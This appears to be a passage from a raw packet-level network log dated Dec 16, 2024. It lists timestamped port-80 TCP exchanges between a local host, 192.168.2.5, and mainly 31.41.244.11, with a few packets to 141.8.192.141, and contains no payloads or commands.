Dec 16, 2024 09:01:43.812753916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.812850952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.813811064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.813947916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.814155102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.815028906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.815188885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.815342903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.816217899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.816324949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.816328049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.817452908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.817553997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.817748070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.818357944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.818877935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.819062948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.819216013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.819773912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.819890976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.819998980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.820975065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.821082115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.821183920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.822149992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.822293043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.823355913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.823431969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.823452950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.824558973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.824681044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.824687004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.825763941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.825860023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.825881004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.826987028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.827112913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.827124119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.827359915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.828129053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.828247070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.828397989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.829335928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.829454899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.829519987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.830512047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.830667019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.831701040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.831813097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.831814051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.832890987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.832993984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.833015919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.834091902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.834155083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.834242105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.834687948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.835371017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.835524082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.835659981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.836457968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.836581945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.836668015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.837656975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.837726116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.837784052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.837881088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.838781118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.843339920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.868702888 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.870100021 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.968508005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.968570948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.968661070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.968732119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.969108105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.969276905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.969598055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.969974995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.970309973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.970382929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.970535040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.970535040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.971470118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.971550941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.971580029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.971709967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.972707033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.972771883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.972774982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.973165989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.973840952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.973931074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.973993063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.973993063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.975034952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.975152969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.975224018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.976211071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.976270914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.976314068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.976399899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.977391958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.977502108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.977525949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.977658987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.978615046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.978703976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.978759050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.978880882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.979809046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.979881048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.980026960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.980134010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.981000900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.981091976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.981165886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.981165886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.982336998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.982414961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.982456923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.982486963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.983375072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.983464003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.983612061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.983670950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.984569073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.984667063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.984728098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.985744953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.985821962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.985857964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.985966921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.986938000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.986999989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.987027884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.987107038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.988291979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.988369942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.988568068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.988689899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.989370108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.989487886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.989489079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.989614964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.990534067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.990602970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.990652084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.990750074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.991900921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.991950035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.991966963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.992006063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.992937088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.992991924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.993021011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.993112087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.994092941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.994168043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.994173050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.994472027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.995537043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.995609045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.995618105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.995646954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.996515989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.996578932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.996674061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.996819019 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.997677088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.997745991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.997796059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.997968912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.998864889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.998986006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.998996019 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.999090910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.000075102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.000159979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.000175953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.000308990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.001266956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.001343012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.001372099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.001523972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.002456903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.002521992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.002609015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.003632069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.003740072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.003889084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.004837036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.004915953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.004961967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.005091906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.006014109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.006089926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.006129980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.006203890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.007203102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.007302999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.007329941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.007422924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.008430958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.008505106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.008528948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.008605003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.009649992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.009713888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.009748936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.009780884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.010814905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.010891914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.010926008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.010976076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.011984110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.012057066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.012096882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.012151003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.013180017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.013272047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.013495922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.014372110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.014460087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.014463902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.014535904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.015558958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.015618086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.015676975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.015753031 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.016760111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.016839981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.016880989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.016957045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.017929077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.018017054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.018044949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.018119097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.019126892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.019192934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.019243002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.019340038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.020323038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.020445108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.020462036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.020508051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.021562099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.021641970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.021667957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.021752119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.022706032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.022784948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.022836924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.022927046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.023880005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.023992062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.024019003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.024056911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.025124073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.025201082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.025219917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.025279045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.026324987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.026400089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.026478052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.026478052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.027467966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.027544975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.027585030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.027683973 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.028703928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.028785944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.028798103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.028908968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.029905081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.029970884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.030011892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.030194998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.030987978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.031075954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.032743931 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.032836914 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.160849094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.160937071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.160936117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.161102057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.161235094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.161292076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.161417961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.161659002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.162441015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.162621021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.162630081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.162739992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.163676977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.163770914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.163786888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.163821936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.164851904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.164918900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.164964914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.165040016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.166033030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.166086912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.166172028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.166172028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.167207956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.167345047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.167435884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.167538881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.168431044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.168534040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.168572903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.168632030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.169603109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.169728994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.169797897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.169956923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.170780897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.170866966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.170895100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.170999050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.171967983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.172038078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.172039986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.172086954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.173157930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.173260927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.173325062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.173396111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.174367905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.174459934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.174478054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.174518108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.175565004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.175662041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.175663948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.175741911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.176819086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.176848888 CET	80	49900	31.41.244.11	192.168.2.5
